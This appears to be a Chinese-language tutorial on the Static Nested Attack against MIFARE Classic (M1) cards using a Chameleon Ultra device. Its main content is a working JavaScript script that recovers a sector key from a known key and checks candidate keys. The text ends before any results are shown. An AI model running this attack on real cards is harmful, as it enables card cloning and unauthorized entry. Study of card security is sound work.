本文章的內容僅限學術及研究用途,請勿進行任何違法行為,否則後果自負。
部分 M1 卡片在認證的過程中會使用一組特定的值來當作卡片挑戰。如果有一組已知的卡片金鑰,就可以利用二次認證來還原加密用的 keystream,進而破解卡片的金鑰。這種攻擊手法通常會需要先蒐集卡片會使用的卡片挑戰。
目前變色龍在進行 Static Nested Attack 攻擊手法時,並不會先蒐集卡片挑戰,所以只支援幾組特定的卡片挑戰。如果這個攻擊手法無法成功,可能需要試試其他的方法。
進行 Static Nested Attack 的流程為:
用變色龍進行攻擊的程式碼如下:
// 在測試網頁的開發者工具中執行 https://taichunmin.idv.tw/chameleon-ultra.js/test.html
await (async ultra => {
const { Buffer, Mf1KeyType } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/+esm')
const { default: Crypto1 } = await import('https://cdn.jsdelivr.net/npm/chameleon-ultra.js@0/dist/Crypto1/+esm')
const bufToHex = buf => buf?.toString('hex').toUpperCase()
const objBufToHex = obj => _.mapValues(obj, v => Buffer.isBuffer(v) ? bufToHex(v) : v)
const key = Buffer.from('FFFFFFFFFFFF', 'hex') // 已知的金鑰
// 執行 Static Nested Attack
const res1 = await ultra.cmdMf1AcquireStaticNested(
{ block: 0, keyType: Mf1KeyType.KEY_A, key }, // 已知的金鑰
{ block: 4, keyType: Mf1KeyType.KEY_A }, // 想要進行攻擊的目標
)
console.log({ uid: bufToHex(res1.uid), atks: _.map(res1.atks, objBufToHex) }) // 顯示攻擊的結果
// 計算可能的卡片金鑰
const keys = Crypto1.staticnested({ keyType: Mf1KeyType.KEY_A, ...res1 })
// 提供字典檔、最大的區段數量、以及每次處理的金鑰數量來測試 M1 卡的金鑰
const mask = new Buffer(10).fill(0xFF).writeBitMSB(0, 2) // 只檢查 Sector 1 Key A
const sectorKeys = await ultra.mf1CheckKeysOfSectors({ chunkSize: 20, keys, mask, maxSectors: 16 })
console.log(`Sector 1 Key A: ${bufToHex(sectorKeys[2])}`)
})(vm.ultra)
執行結果如下: